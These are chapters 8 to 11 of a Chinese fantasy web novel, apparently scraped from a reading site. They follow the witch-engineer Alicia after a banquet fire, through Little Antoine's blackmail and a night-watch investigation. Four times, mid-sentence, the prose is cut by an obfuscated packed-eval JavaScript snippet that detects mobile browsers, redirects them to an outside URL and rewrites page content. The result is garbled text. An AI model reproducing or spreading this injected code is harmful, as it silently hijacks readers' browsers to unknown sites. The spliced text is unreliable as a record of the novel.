德蒙卡萨已经准备好在艾丽西亚动手的时候,用最惨烈的方式去让艾莉西亚付出代价,但他的准备落了空。 艾莉西亚双手握住德蒙卡萨的肩膀,他身上的火焰熄灭了,浑身上下被一股清凉之气包裹。 他意识到,艾莉西亚或许是在救他。 在艾丽西亚的努力下,两个人很快来到阳台。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774068|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我以为你会杀了我,小姐。”这不是德蒙卡萨最接近死亡的时刻,也不是他第一次被救,但他想看清楚这个狡诈的女巫的样子。 然而高温的浓烟让他暂时失去了视力,他不停的眨着眼,生理性的泪水把脸上的黑灰冲出一道道的印记,终于能看清楚一点东西,却只看到漆黑的斗篷。 那斗篷把艾莉西亚整个人都笼罩起来,什么都看不清。 艾莉西亚回头看了他一眼,心说这家伙都这么狼狈了,怎么还这么好看?莫非这就是传闻中的美强惨?她在心里嘀嘀咕咕,嘴上不怎么正经地说,“审判官大人,他们可没有支付我杀人的报酬。” 说完,艾莉西亚就从阳台上离开了。 她已经把人从火场里弄了出来,接下来要怎么做就和她没关系了。 阿尔瓦雷斯没有支付她杀人的钱,也没人支付她继续救助的钱啊。 …… 这一场火来势汹汹,没一会儿就把这个屋子里的一切都烧成了灰烬。 但它没有向外蔓延,像是有什么把火焰隔离在这个房间内。 这场火引起了宴会所有人的围观,乱七八糟的消息在宾客之中传递着。 埃诺里已经换了一身裙子,她腿上的钢矢取了出来,用魔法把伤口封住,还能勉强支撑。她装作在花园里眯了一觉,十分困倦的样子,有一搭没一搭地和另一个贵族夫人聊天。 宴会主人是个颇有历史的贵族,他很有经验地请来了负责卡斯塔尼亚城与超凡者有关的巡夜者。 巡夜者的首领是一个高大粗狂的骑士,他身高超过两米,脸上有一条刀疤,看着就骇人。 布利斯·巴尔纳——巡夜者的首领在火场里转了一圈,找到一把锻造工艺极佳的软剑、一把精钢锻造的□□、一只损毁的法杖残骸,法杖残骸上还有颗昂贵的宝石。 “有谁受伤吗?”巴尔纳问。 “暂时没有,先生。”回话的是管家。 “你注意到宴会上有什么异常吗?火势起来的时候,有谁不在宴会厅?” 管家小心地看了一眼自己的主人,一时难以开口。 巴尔纳说,“不要看他,都有谁?你记得谁就说出来。” “额,很多人。”管家的表情十分为难。 “很多人是谁?” 管家不敢回答了,他求助地看着庄园主人,那些尊贵的客人消失一时半刻不是他能随便说的,贵族们的私生活混乱,他怕自己不小心说了不该说的话。 接收到管家的求救信息,庄园主人咳嗽一声,凑近巴尔纳,“巴尔纳阁下,这个事……您就不要再问下去,您帮我查查看这里有没有别的隐患就行。” 巴尔纳从庄园主人的表情里读懂了那些隐晦的含义,眼里流露出一丝鄙夷,这些混乱的贵族,啧。 8. 女巫的职业危机08 一辆豪华马车在安静的街道上奔驰。 小查普伊斯·安托瓦在晃动的马车中,思索着那个火场内找到的精钢□□,那是他很熟悉的款式,他手里就有两个,产自艾莉西亚的机械工坊。 当然,为了避免艾莉西亚那个小心眼的女人不肯卖给他,他私底下找特蕾娅购置的。 正因为欠了特蕾娅人情,特蕾娅想要从他这里拿投资时,他才会答应。 会是谁放的火呢?目的又是什么呢? 小安托瓦无意识地摩擦着他的文明杖,他肯定这一定和黑塔的女巫有关,这一点宴会现场的人都知道。然而谁也没有点破。 代表着黑塔的女巫有多大分量,从宴会上讨好她的人数就知道了。 只有巴尔纳不在意这些。 他让人把她带走单独问话,可惜埃诺里掩饰得很好,巴尔纳什么都没问出来。 至于那个失踪的年轻男人,埃诺里坚持说她和那个人在走廊里聊过天之后,发现他肤浅而愚蠢,把人打发走了,至于对方去了哪里,她不知道。 一个毫不起眼的淘金男孩而已,这样的家伙为了钱什么都可以干,他的死活没人在意。 巴尔纳也不在意。 但他想用这个拿捏埃诺里,可惜失败了。 这场火对于参加宴会的大多数人而言,像旁观一场按部就班的表演,时间到了,火烧起来,他们看一看燃烧时的火焰,也就结束了。 但对小安托瓦不是。 小安托瓦来宴会的目的是为了搭上埃诺里,埃诺里对他一点兴趣也没有,他以为今天会毫无收货地回去了,但他发现了那个□□。 这让小安托瓦有了新的计划,或许,他可以找艾莉西亚问问购买□□的人的名单,从那些人当中找到隐藏在卡斯塔尼亚地下的超凡者,这样还可以避免惹怒光明教廷。 黑塔已经成了教廷的眼中钉肉中刺,独立于第三方的势力,才是最好的合作选择。 …… 像小安托瓦这样想的人不止一个。 巴尔纳拿着现场遗留的物品,找到光明教廷驻扎在卡斯塔尼亚城的圣骑士,哈罗德·阿克莱特。 这位正直的骑士看不惯教廷内部一些大主教的行为,认为他们违背了光明神的意志,但他只是少数派,毫无意外地,他遭到了排挤。 阿克莱特骑士被发配偏远的卡斯塔尼亚城,从最有可能成为圣骑士团团长的、前途一片大好的后辈,落魄为一个贫穷的圣骑士。 是的,贫穷。 为了养活自己和学生,阿克莱特骑士不得不为巡夜者工作,而巡夜者的主人——芙蕾·阿斯蒙德女士——她公开宣称自己是个无信仰者。 “这柄剑不容易查出生产商,进入蒸汽时代以后,金属锻造的工艺不再是家传的秘密,它可能出自卡斯塔尼亚城的武器工坊,也可能来自沃华德的锻造间。” 阿克莱特骑士仔细地查看了那把在火场找到的软剑后,告诉巴尔纳。 这样的回答不能让巴尔纳满意。 巴尔纳身高腿长,只是坐在那里,就让人很有压迫感。 “骑士阁下,我希望你不要因为你的身份而包庇来自沃华德的同僚,伯爵领和黑塔的合作有多重要,你一定清楚,请记住,你的薪水来由阿斯蒙德女士提供。” 阿克莱特骑士并没有因为巴尔纳的话而感到难堪,事实上,对这位不算年长却历经沧桑的骑士而言,能够让他难堪的事情已经很少了。 他放下软剑,拿起一旁的□□,“我不知道剑的出处,但这把□□,我可以告诉你它的制造商。” 巴尔纳立刻坐直身体,“谁?” “切斯特机械工坊。” “切斯特机械工坊?”巴尔纳没有听说过这个名字。 阿克莱特骑士,“它属于一位年轻的女士,她是我见过的、最有天赋的机械制造专家,我可以带你去找她。我想她应该会很乐意为你提供购买者清单。” “立刻过去。”巴尔纳起身就走。 两人翻上马背,巴尔纳忽然问,“你那个说话不怎么好听的学生呢?” “他叫科恩,科恩·西尔维斯特,巴尔纳阁下。他去教堂找米迦神父,要请教他一些关于教义的问题。” 巴尔纳撇撇嘴,“还没放弃回去呢,你在卡斯塔尼亚呆了十六年,圣骑士,他们没有任何人希望你回去。” “侍奉吾主不一定要回去教廷,但科恩要成为圣骑士,他需要回到教廷接受洗礼,”说到这里,阿克莱特骑士的脸上浮现出一丝笑意,“这是那孩子的梦想。” …… 艾莉西亚打着哈欠,猛灌一杯黑咖啡,苦涩的味道让她眉头皱得紧紧的。 魔法不是万能,女巫又如何,熬夜之后照样精神萎靡不想工作。 艾莉西亚快黎明才回家,睡了不到两小时就起床,整个人困乏到站着就能睡着。 艾莉西亚不是精力充沛的人,她每天的睡眠需要九小时才够,睡不够一整天都不好受。但内燃机的工作计划已经安排好了,她这边耽误,就会连累米亚,而米亚自己还有打造魔法武器的订单。 紧张地日程像排列好的多米诺骨牌,倒掉一块,后面的将无一幸免。 不幸中的万幸,拉法索亚大陆百年前就开始了向海外探索的历史,航海家们新大陆中找到了咖啡、可可等作物。 这让艾莉西亚避免用魔法提神,那效果虽然好,但和嗑猛药没区别,而且容易成瘾。 而这,也是很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774069|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女巫和术士们容易疯魔的因素之一。 虽然咖啡也是刺激神经,但程度总是要轻很多。 然而,今天注定不是个顺利的日子。 艾莉西亚正在锻造间内,和米亚商量打造活塞室的合金成分和比例,一辆豪华马车突然拜访。 特蕾娅脸上带着标准的商务微笑,请小安托瓦在工坊内的会客室坐下。 她心里揣测着小安托瓦的目的,这家伙一早就来到零件厂,装模作样地对昨晚的失约道歉,并表示想要尽快和艾莉西亚商谈投资的事。 态度转变之大,像换了一个人。 这对特蕾娅来说是好事,她没去探究缘由,安排好了零件厂的工作,没怎么耽误,就带着人来了工坊。 小安托瓦表示想要看看艾莉西亚的工作状态,但艾莉西亚在锻造车间,那是米亚的地盘。 特蕾娅认识米亚有段时间了,但她和米亚一直熟悉不起来,那女人领地意识很强,特蕾娅去锻造间找艾莉西亚都要被她翻白眼,何况是带个陌生人进去。 特蕾娅笑着拒绝小安托瓦,“小安托瓦先生如果感兴趣,等会儿艾莉西亚可以带您参观她的工作间,我先去找艾莉西亚。” 小安托瓦看着特蕾娅的背影,挑了挑眉,是他小看特蕾娅了。难怪艾莉西亚会和特蕾娅合作,她可太知道怎么抓住时机拿捏人。 或许他不该主动找特蕾娅,这个女人有着超乎寻常的敏锐嗅觉,当小安托瓦出现在零件厂的那一刻,她就意识到他另有所图,她立刻就换了一副嘴脸,不再是那个殷勤的、需要对他卑躬屈膝的创业者,反而处处争夺着主动权,到现在,他们连具体的投资条件都没谈。 小安托瓦摸着下巴,心里琢磨着他需要花多大的代价才能从艾莉西亚那里得到他想要的信息。 艾莉西亚打着哈欠,把米亚打造好的活塞室放到机床上打磨修边好,特蕾娅才进来打断她,“亲爱的,我们走运了,小安托瓦先生主动上门了,他就等在会客室里。” “你说谁?”艾莉西亚脑子发蒙,怎么会是他? 当艾莉西亚和特蕾娅去会客室后,小安托瓦说,“切斯特小姐,我需要和你单独谈谈。” 特蕾娅的表情没什么变化,她主动说,“我去为你们煮茶。” 在艾丽西亚探究的目光中,小安托瓦从携带的箱子里,拿出一个艾莉西亚熟悉的物件——一把她昨天还是用过的□□。 小安托瓦说,“切斯特小姐,我想你一定不愿意让巡夜者的人知道你在售卖如此具有杀伤性的武器。” 艾莉西亚:“……”上门就威胁,这家伙是真的不怕得罪她。 她就知道小安托瓦上门一定没好事,特蕾娅竟然还说她们走运了,走霉运了吧! 9. 女巫的职业危机09 她就知道小安托瓦上门一定没好事,特蕾娅竟然还说她们走运了,走霉运了吧! 小安托瓦生意做得好好的,怎么突然追踪起放火的人了?艾莉西亚心里嘀咕,表情丝毫没变。 艾莉西亚她掸掸衣袖,并不怎么在意地说,“小安托瓦先生,门在那边,不送。” 小安托瓦看着艾莉西亚,缓缓勾起嘴角,“切斯特小姐,或许你不信,我今天来诚意十足。” 艾莉西亚,“威胁我的诚意吗?” “不,是合作的诚意,”小安托瓦说,“这把手/弩是我通过特蕾娅小姐购置的,它在我乘海船来往沃华德和卡斯塔尼亚的路途中很有用。你知道,海上航行并不总是一帆风顺,海盗们神出鬼没,我不幸遇到了两次,靠着这两把手/弩,我才能完好无损地活下来。” 艾莉西亚笑了笑,不置可否。 小安托瓦,“这样厉害的武器非常有前景,切斯特小姐,和我合作吧,我会让它成为最受追捧的防身武器。” 艾莉西亚表情没什么波澜,她当然知道自己的作品杀伤力有多大,但杀伤力再大,那也是冷兵器。 现在已经有杀伤力很强的火枪了,左轮在报纸上公开宣传过,尽管还需要改进,但可以预见,在不久的将来,防身最好的武器首选是魔法物品,其次就是枪。 而□□,它终将会成为放在博物馆里观赏物。 艾莉西亚正是知道未来的发展方向,做出手/弩之后就没打算建立产品线,她选择走高端路线,量少从贵,反正买得起的人不在乎这点钱。 小安托瓦去了被誉为“科学之都”的沃华德一趟,还这么说,就说明他根本没有合作的诚意,只是找借口送钱而已。 花大价钱找一个在贵族庄园里放火的人,他图什么? 艾莉西亚也算是感受到了小安托瓦的讨好,可惜她一点没觉得享受。 过去几年她为了投资不得不忍受这家伙的坏脾气,她以为他本性如此,现在才知道,不过是因为自己价值不够。 艾莉西亚故意说,“能让小安托瓦先生欣赏我的作品,老实说,我感到受宠若惊。不过您也知道,我的工作日程十分紧张,恐怕没有时间退出新产品,不如这样,我可以把弩和箭的图纸卖给您,您找人开发,如何?” “唔,这是一个好主意。”小安托瓦认为这是艾莉西亚接受的信号,没有反对。 “那么,等会儿就让特蕾娅与您商谈图纸的价格吧。小安托瓦先生,我还继续忙,您请自便。” 艾莉西亚干脆利落起身,小安托瓦眼神一变,立刻叫住艾莉西亚,“切斯特小姐,您似乎误会了什么。” 艾莉西亚奇怪地问,“误会了什么?您不是来商讨购买图纸的事吗?” 小安托瓦立刻意识到,这女人根本没打算告知他购买人名单。 他一改怀柔路线,冷下脸,命令道,“名单,切斯特,钱我可以给你,但我不是在和你商量,别让我失去耐心。” 艾莉西亚轻蔑一笑,“小安托瓦先生,我真羡慕你,永远都这么自以为是。那我也告诉你,你再敢用这种语气和我说话,我保证你一定不愿意被人看到,你被丢出工坊的样子有多狼狈。” “你开个价,”小安托瓦露出与她相似的轻蔑笑容,“这世上的一切都有价格,你只需要开个价——有了钱,你可以还掉欠债,也能让特蕾娅小姐闭嘴。” 这种人根本没法沟通。 他太自以为是了,他没有同理心,永远无法理解别人的坚持意味着什么。 艾莉西亚不再理会小安托瓦,头也不回地离开会客室。 等艾莉西亚离开,小安托瓦收敛了表情。 他判断失误了,是他小看了艾莉西亚。 零件厂刚盈利,艾莉西亚就能因为与他理念不合而负债退还他的投资和分红——那并不是一笔小钱,但她仍然那样做了。那时候小安托瓦就知道艾莉西亚性格中有着极强势的部分。 但特蕾娅误导了他。 特蕾娅三番五次上门请求他重新投资,而艾丽西亚也答应共进晚餐,这让小安托瓦以为艾莉西亚妥协了,而他正好可以用这件事拿捏她,因此,一见面,小安托瓦就先声夺人,试图用威胁的方式彻底拿捏住艾莉西亚,这样一来,无论是购买人名单,还是内燃机的投资,他都会占据绝对优势。 可惜他太久没有与艾莉西亚接触,没有发现艾莉西亚根本不想接受投资。 所以他的计划一开始就是错的。 事情已经到了这个地步,小安托瓦当然没有放弃。如果有更好的、可以寻找超凡者的隐蔽途径,他不会去和黑塔接触,这一点不会更改。 只不过,小安托瓦摩挲着文明杖,艾莉西亚这里不行,或许可以问问她那位雇员,那个异常高大的女铁匠,这样的身高对于一个女人来说并不多见,根据小安托瓦了解的超凡世界的常识,女铁匠很可能有着巨人血统。 那些有着巨人血统的族群一直生活在极北荒原,而女铁匠来了卡斯塔尼亚城,不可能不去接触一些超凡者渠道,毕竟她售卖的那些武器——尽管只是在锻造间外匆匆一撇,他也能判断出那些武器必然不是普通的冷兵器。 而这些有着魔法效果的武器会卖给谁呢? 小安托瓦沉思着,也许,他可以绕过艾莉西亚,通过女铁匠认识一些超凡者。 小安托瓦正想得出神,工坊外的道路上传来一阵马蹄声,两个男人骑着马而来。 这两个人小安托瓦都认识,一个是昨晚才见过的、巡夜者首领布利斯·巴尔纳,一个是最穷的圣骑士哈罗德·阿克莱特。 这两人是超凡者无疑,但他们来这里做什么?也是为了购买人清单?还是因为别的? 阿克莱特骑士和巴尔纳到的时间比艾莉西亚预料的晚。 她离开庄园的时候就知道,手/弩一定会引来官方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774070|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的关注,这个官方不是巡夜者就是教廷。鉴于后者在卡斯塔尼亚的处境,艾莉西亚认为巴尔纳的可能性要高一点。 不过阿克莱特也一起来,她也不是很意外,毕竟他的贫穷好他英俊的外貌同样有名,他为了赚钱为巡夜者工作并不是秘密。 手/弩不是艾莉西亚有意留在火场的,她有机会把它带走,但谁让她选择救人呢,总不能眼睁睁看着一个人活活被烧死吧? 那个叫德蒙卡萨的人并不像阿尔瓦雷斯说的那样,是个冷血无情的杀手,事实上,人家没打算对埃诺里下手,不然轮不到艾莉西亚和阿尔瓦雷斯去救人。 救下德蒙卡萨之后,艾莉西亚就没办法从大火里拿回手/弩了,它只是普通的金属制品,不像她的法杖,行动轨迹可以被她控制。 而即使身为女巫,勇闯火场的结果也会造成大面积烧伤,这样勉强活下来,恢复也需要一位擅长治疗魔法的女巫,而那将会花费高昂的治疗费用。 这对贫穷的艾莉西亚来说,是不能承受的结果。 “切斯特小姐,”巴尔纳翻身下马,对走出工坊的爱丽公事公办地说,“昨晚,一位尊贵的勋爵庄园内发生了异常火灾,火灾现场找到了你的工坊制作的产品,我需要一个解释。” “光明神在上,”艾莉西亚睁大了眼睛,因为太吃惊而不得不用手掩住嘴,“怎么会发生这样的事?光明神保佑,真是太不幸了。” 巴尔纳拿出那个被大火淬炼过、却仍然完好的手/弩,“你能看得出是卖给谁的吗?” 艾莉西亚接过来,翻来覆去地看了地看,她的眉头越皱越紧,为难地说,“巴尔纳先生,很抱歉,我的客人们购买手/弩并不会亲自过来,他们通常会伪装,您知道,做我们这一行,并不会去探究买主是谁,那会给我们带来麻烦的。” 这话听起来很有道理,但巴尔纳一点不买账,他沉下脸,脸上的疤痕越发狰狞,“切斯特小姐,我希望你明白,你的武器给大人物们带来了麻烦,如果你还想在卡斯塔尼亚城好好经营,就不要为那些人隐瞒。” 艾莉西亚被他如洪钟的声音吼得一抖,心虚地移开了眼睛,无意识地朝工坊会客厅的位置看了一眼。 “不不,如果我知道,我一定会如实告知您,巴尔纳先生,但很多人购买这些武器都是通过中间人或者跑腿,甚至有人会用邮寄的方式购买,这样就更不知道他们是谁了。” 艾莉西亚的小动作没有逃过巴尔纳的眼睛,他沉声喝问,“你在看什么?” “没,没什么。”艾莉西亚像只受惊的小鸟,磕磕巴巴地回答。 这更加让巴尔纳怀疑了。 他撇开艾莉西亚,快步走向会客厅,一推开门,就看到了小查普伊斯·安托瓦。 “原来是你啊,间谍小安托瓦,你来这里做什么?”巴尔纳眯起眼,眸子里迸射出寒芒,他盯着小安托瓦,像是在看一个犯下不可饶恕之罪的恶徒。 10. 女巫的职业危机10 阿克莱特的劝说 “你不应该参与进那些事情,做个普通的工程师不好吗?”巴尔纳去会客厅后,哈罗德·阿克莱特对艾莉西亚说。 阿克莱特有一头如丝绸般顺滑的银发,阳光下,他整个人都散发着圣洁的光芒,如同从教堂壁画中走出来的纯洁天使。 他湖蓝色的眸子注视着艾莉西亚,带着一丝无奈,“你说过你想过得自由一点。” 认识阿克莱特十几年了,艾莉西亚知道他这个人,正直善良又不失灵活。他一直知道艾莉西亚女巫的身份,却没有向教会告发,他充分尊重艾莉西亚的选择,当他确定艾莉西亚不是那种扭曲诡异的女巫后,他就只当艾莉西亚是个普通人。 “哈罗德,我找不到魔法结晶了。没有魔法结晶,我没办法向更精深的魔法探索,我的魔法水平会退步,我会故步自封,我会彻底地沦为一个只会魔法把戏的小丑。” 艾莉西亚嘴唇紧抿,她目视工坊背后绵延无尽的山峦,过去的一百多年里,那曾是宝藏猎人的乐园,他们在那里狩猎魔兽、挖掘魔法结晶,只要愿意冒险,就能收获数不尽的魔法材料。 然而,这一切终结在现任阿斯蒙德伯爵手里。 这位领主带领军队荡平群山中的魔兽,地毯式挖掘出能挖掘一切魔法材料,一部分还钱养军队,一部和黑塔交易、支持他们与光明教廷作对,剩下的绝大部分都被他毁掉了。 过去,像艾莉西亚这样的流浪-女巫很容易就能得到提升自己的魔法材料,而现在,艾莉西亚绞尽脑汁、跑遍整个地下魔法交易市场,都不一定能找到自己想要的。 “昨天夜里,有人出高价让我保护黑塔的埃诺里女士,他说来自教廷异端审判庭的杀手会对她下手,我在宴会上发现了那个杀手——放心,我没有杀人,他看起来并不像雇主说的那样冷血无情,我还把他从火场里救了出来。” 阿克莱特表情舒展,唇角若隐若现的微笑让人迷醉。 艾莉西亚不是第一次如此近距离地遭受阿克莱特的美颜暴击,但每一次,每一次她觉得造物主的偏爱让人痛恨。 不过阿克莱特没有打算在这件事上为难她,艾莉西亚放了一半的心。 阿克莱特是个非常有责任心的骑士,他认为既然放任拥有超凡能力的艾莉西亚回归普通人的生活,那么他就有义务监督艾莉西亚,至少,她不能用女巫的能力去违法犯罪。 接着,艾莉西亚话头一转,问道,“昨晚只烧掉了一个富有贵族的一间屋子,这样的损失简直不值一提,我想你今天应该不是来兴师问罪的,那么,是什么让你引导那位巡夜者的首领来我这里呢?” 阿克莱特没有直接回答艾莉西亚的问题,他说,“你不应该在巴尔纳面前表现得如此胆小,这会让他留下不可靠的印象。” 艾莉西亚疑惑地蹙起眉,突然,她灵光一闪,但她又觉得自己想多了,阿克莱特可是教廷的圣骑士啊。 艾莉西亚迅速理清思路,试探着开口,“你想让我主动向巡夜者投诚?以女巫的身份?” 阿克莱特点点头,“既然你选择参与进来,他或早或晚都会注意到你,如果你能在这之前以女巫的身份和他站在同一立场,会让你避免很多麻烦。” 猜中了阿克莱特的目的,艾莉西亚仍觉得难以置信。 她的表情让阿克莱特露出苦笑,“艾莉,我也在为巡夜者工作。” “的确如此。”艾莉西亚猜测着阿克莱特这样做的缘由,难道他要离开卡斯塔尼亚,所以借此机会把她安置下来? 科恩要回教廷了吗? 不对,科恩今天怎么没来? 就在艾莉西亚胡思乱想的时候,阿克莱特告诫她,“抓住这个机会,艾莉,不要让它从手里溜走。” 这个问题艾莉西亚早就考虑过,她笑了笑,“这个机会我想我应该用不上了,你知道的,我不喜欢被束缚。” 阿克莱特皱起眉,他没想到发生了昨晚的事,艾莉西亚仍然如此固执。 他还想再劝说她不要这么轻率,而此时,会客室传出了大动静。 会客室内,巴尔纳像是发怒的狮子一样发出怒吼,接着,一道人影从会客室内飞了出来。 阿克莱特身手矫健,立刻上前把人接住,免得对方砸到地上,造成更严重的伤害。 艾莉西亚没想到巴尔纳竟然这么狂野,小安托瓦这样出身贵族家族的人说打就打。 如果是在别的地方,艾莉西亚一定会袖手做个合格的吃瓜群众,但工坊是她的地盘,而小安托瓦又是来谈投资的,于情于理,艾莉西亚都不能放任时态发展。 她不得不站出来,挡在从会客室冲出来的巴尔纳面前,做出制止的动作,“巴尔纳先生,请您冷静一点,您是一位英勇强悍的骑士,小安托瓦先生只是普通人,他会在您的拳头下去见光明神的。” 巴尔纳被小安托瓦激怒,脑子却没有停止思考,紧急情况下,艾莉西亚能挺身而出,主动站出来,这说明她并不胆小怯懦,那么,她一开始表现出来的、心虚的样子是为了什么? 巴尔纳渐渐冷静下来,他锐利的眼神盯着艾莉西亚,艾莉西亚只觉得头皮发麻。 她讪笑了一下,心里却在想,哈罗德的好意她全辜负了,巴尔纳现在看自己的眼神和看嫌疑犯没区别,这时候她要投诚,恐怕巴尔纳就要怀疑她是什么居心了。 小安托瓦挨了一拳头,但阿克莱特接住他的时候很好地保护了他,因此他只半边脸肿了起来,仍是行动自如。 小安托瓦站直身体,他擦了擦嘴角的鲜血,“感谢您的帮助,阿克莱特骑士。” 阿克莱特刚要说什么,就听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774071|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小安托瓦嘲讽巴尔纳,“难道我说错了吗?芙蕾·阿斯蒙德为了继承人之位害死兄长,导致国王陛下不愿意承认她继承人的身份,连个普通的爵位称号都不给她,这都是她自找的。 “至于你,布利斯·巴尔纳,芙蕾·阿斯蒙德最忠诚的走狗,你看起来如此愤怒,如此心虚,小阿斯蒙德的死你一定帮了大忙对吧?” 艾莉西亚忍不住扶额。 小安托瓦的嘴巴太贱了。那种没有根据的谣言他竟然拿出来给阿斯蒙德女士泼脏水,他到底和巴尔纳有什么仇,竟然这么激怒巴尔纳? 还真是不怕死。 不,不对。 小安托瓦挑衅巴尔纳并不是因为不怕死,事实与此相反,正因为他怕死,才会在这个时候开嘲讽——因为阿克莱特在这里。 依照骑士的行事风格,他必然不会看到小安托瓦被打死。 “让开。”巴尔纳对艾莉西亚说,“他要为他的话付出代价。” 巴尔纳的拳头捏得咯吱作响,他看小安托瓦的眼神像是在看一个死人,极度愤怒之后反而表现出可怕的平静。 艾莉西亚仰起脸,看了一眼巴尔纳紧绷的下颌,她默默侧身让开。 巴尔纳朝着小安托瓦冲过去,阿克莱特如预料的那样上前阻挡,“巴尔纳,冷静一点,小安托瓦不能死在你手里,你知道这意味着什么。别给阿斯蒙德女士添麻烦。” 有阿克莱特在,小安托瓦有恃无恐,他肆无忌惮地诋毁阿斯蒙德女士,总之,怎么激怒巴尔纳怎么来。 别说巴尔纳,艾莉西亚也认为这家伙还是死了更好。 这里的动静让米亚和特蕾娅出来看热闹,特蕾娅只见过小安托瓦矜持高傲、自持身份的样子,她不知道这个人竟然会这么嘴贱欠揍,看起来和青春期脑子发育不完全的小男孩一样。 “他他他,他怎么是这样的人?” 艾莉西亚说,“他一直都是这种人。米亚,弄晕他。” 米亚下意识地听从艾莉西亚的吩咐,朝小安托瓦走去,走了两步反应过来,“嘿,小妞儿,我不是你的打手!” 艾莉西亚,“二十费尔。” 米亚,“唔,那行吧。” 高大的米亚走向小安托瓦,“小安托瓦先生,看这里。” 小安托瓦用他那张肿了一半的脸看过来,米亚一巴掌扇过去,小安托瓦应声倒地,十分干脆。 特蕾娅惊呼一声,“光明神啊,米亚你太暴力了。” 米亚呲牙。 特蕾娅是不怕米亚的,她遗憾地说,“要是骑士先生不在这里就好了,那样的话,小安托瓦先生为了自身安全,应该会很脆地在投资的支票上签字吧。” 艾莉西亚:“……” 不愧是特蕾娅,真是什么时候都对小安托瓦的投资念念不忘呢。 11. 女巫的职业危机11 这场闹剧在小安托瓦昏迷之后,总算结束了。 艾莉西亚让小安托瓦的马车夫把人送回去。这个可怜的家伙被巴尔纳的野蛮作风吓傻了,他缩在马车里面瑟瑟发抖,根本不敢出来。 马车走远,艾莉西亚以为这场闹剧差不多要结束了,但巴尔纳却叫住了她。 艾莉西亚笑得很官方,“巴尔纳阁下要和我们商讨赔偿的问题吗?不用啦,会客厅我们会重新装修一次。” 巴尔纳被噎了一下,他只能说,“把账单寄到市政厅巡夜者办公室吧,会有人帮你支付的。” 艾莉西亚的笑容立刻变得很灿烂,“非常感谢您的慷慨。希望您回城的路途一路顺风。” 说完她就想开溜。 但她低估了巴尔纳的执着,他都能对小安托瓦动手,就绝不是顾及脸面的人。这样的态度对阿克莱特或许有点用,正直的骑士并不会让人为难。 对巴尔纳嘛…… 巴尔纳咧嘴,笑得像狼外婆一样,“我听中间人说切斯特小姐的手/弩制作精良,质量上佳,我想为巡夜者也购置一些,切斯特小姐开个价吧。” 问过中间人,那巴尔纳一定知道她给出的价格是多少,艾莉西亚微笑着说,“阁下既然亲自开口,我肯定给您算最优惠的价格,我们工坊里售出去的手/弩价格在220费尔,配二十支弩箭;中间人要少20费尔。这样,我给您打九五折,190费尔如何?” 巴尔纳呲牙,眼里的笑意消失了,“贵了。” 艾莉西亚嘴角一抽,她就说,巡夜者怎么会让她占便宜,“您觉得多少合适呢?” “150费尔一套,配二十支弩箭,其中五只篆刻增强杀伤力的魔纹。” 艾莉西亚张大了嘴巴,半天没反应过来,“您开玩笑的吧?” 巴尔纳表情一收,眉毛下压,“做不出来?” 艾莉西亚嘴里发苦,“这怎么做得出来?” “这就是切斯特小姐你需要解决的问题了,”巴尔纳翻身上马,居高临下地说,“来巡夜者办公室签合同的时候带一批样品过来,时间就定在三天后吧。” 艾莉西亚管不了那么多,跑过去抓住他的缰绳,“巴尔纳阁下,这笔生意我可以不赚,但您不能让我赔钱,175费尔一套,不能再低了,低于这个价格我宁愿把工坊关掉。” 巴尔纳扬起马鞭,“让开!” 艾莉西亚丝握紧缰绳,一步也不肯退。 阿克莱特忍不住说,“布利斯!” 巴尔纳退了一步,“好吧,看在哈罗德的面子上,165费尔。” 艾莉西亚还要再说,巴尔纳却不耐烦继续,他的马鞭甩出去,马儿嘶鸣一声,猛烈甩头,像离弦的箭一样往前冲。 艾莉西亚缰绳脱手,差点被甩出去,是米亚在背后扶了她一把,才让她免去受苦。 阿克莱特丢下一句,“下不为例。”也跟着离开了。 米亚看着他们都走了,忍不住问,“你做的手/弩我都看过,原料的确难得,但卖到150费尔也应该有赚。” 